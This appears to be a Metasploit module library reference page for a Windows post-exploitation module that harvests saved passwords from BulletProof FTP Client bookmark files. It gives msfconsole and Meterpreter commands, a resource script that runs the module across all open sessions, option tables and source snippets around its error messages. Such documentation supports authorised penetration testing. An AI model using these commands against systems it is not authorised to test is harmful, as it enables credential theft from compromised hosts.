Windows Gather BulletProof FTP Client Saved Password Extraction - Metasploit


This page contains detailed information about how to use the post/windows/gather/credentials/bulletproof_ftp metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Gather BulletProof FTP Client Saved Password Extraction
Module: post/windows/gather/credentials/bulletproof_ftp
Source code: modules/post/windows/gather/credentials/bulletproof_ftp.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module extracts information from BulletProof FTP Bookmarks files and store retrieved credentials in the database.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/credentials/bulletproof_ftp

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/credentials/bulletproof_ftp
msf post(bulletproof_ftp) > show options
    ... show and set options ...
msf post(bulletproof_ftp) > set SESSION session-id
msf post(bulletproof_ftp) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/credentials/bulletproof_ftp")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage


Here is how the windows/gather/credentials/bulletproof_ftp post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/credentials/bulletproof_ftp

msf6 post(windows/gather/credentials/bulletproof_ftp) > show info

       Name: Windows Gather BulletProof FTP Client Saved Password Extraction
     Module: post/windows/gather/credentials/bulletproof_ftp
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  juan vazquez <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module extracts information from BulletProof FTP Bookmarks 
  files and store retrieved credentials in the database.

Module Options


This is a complete list of options available in the windows/gather/credentials/bulletproof_ftp post exploitation module:

msf6 post(windows/gather/credentials/bulletproof_ftp) > show options

Module options (post/windows/gather/credentials/bulletproof_ftp):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the windows/gather/credentials/bulletproof_ftp post exploitation module:

msf6 post(windows/gather/credentials/bulletproof_ftp) > show advanced

Module advanced options (post/windows/gather/credentials/bulletproof_ftp):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/gather/credentials/bulletproof_ftp module can do:

msf6 post(windows/gather/credentials/bulletproof_ftp) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/gather/credentials/bulletproof_ftp post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/credentials/bulletproof_ftp) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

BulletProof FTP Client isn't installed


Here is a relevant code snippet related to the "BulletProof FTP Client isn't installed" error message:

221:	  end
222:	
223:	  def run
224:	    print_status("Checking if BulletProof FTP Client is installed...")
225:	    if not check_installation
226:	      print_error("BulletProof FTP Client isn't installed")
227:	      return
228:	    end
229:	
230:	    print_status("Searching BulletProof FTP Client Data directories...")
231:	    # BulletProof FTP Client 2010 uses User Local Settings to store bookmarks files

BulletProof FTP Client directories not found.


Here is a relevant code snippet related to the "BulletProof FTP Client directories not found." error message:

254:	        bullet_paths << "#{program_files}\\#{dir}"
255:	      end
256:	    end
257:	
258:	    if bullet_paths.empty?
259:	      print_error("BulletProof FTP Client directories not found.")
260:	      return
261:	    end
262:	
263:	    print_status("Searching for BulletProof FTP Client Bookmarks files...")
264:	    bookmarks = []

BulletProof FTP Client Bookmarks files not found.


Here is a relevant code snippet related to the "BulletProof FTP Client Bookmarks files not found." error message:

264:	    bookmarks = []
265:	    bullet_paths.each { |path|
266:	      bookmarks.concat(get_bookmarks(path))
267:	    }
268:	    if bookmarks.empty?
269:	      print_error("BulletProof FTP Client Bookmarks files not found.")
270:	      return
271:	    end
272:	
273:	    print_status("Searching for connections data on BulletProof FTP Client Bookmarks files...")
274:	    entries = []

Entries not found on <BOOKMARK>


Here is a relevant code snippet related to the "Entries not found on <BOOKMARK>" error message:

276:	      p = BookmarksParser.new(read_file(bookmark))
277:	      p.parse_bookmarks
278:	      if p.entries.length > 0
279:	        entries.concat(p.entries)
280:	      else
281:	        vprint_error("Entries not found on #{bookmark}")
282:	      end
283:	    }
284:	
285:	    if entries.empty?
286:	      print_error("BulletProof FTP Client Bookmarks not found.")

BulletProof FTP Client Bookmarks not found.


Here is a relevant code snippet related to the "BulletProof FTP Client Bookmarks not found." error message:

281:	        vprint_error("Entries not found on #{bookmark}")
282:	      end
283:	    }
284:	
285:	    if entries.empty?
286:	      print_error("BulletProof FTP Client Bookmarks not found.")
287:	      return
288:	    end
289:	
290:	    # Report / Show findings
291:	    @credentials = Rex::Text::Table.new(

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • juan vazquez

Version


This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.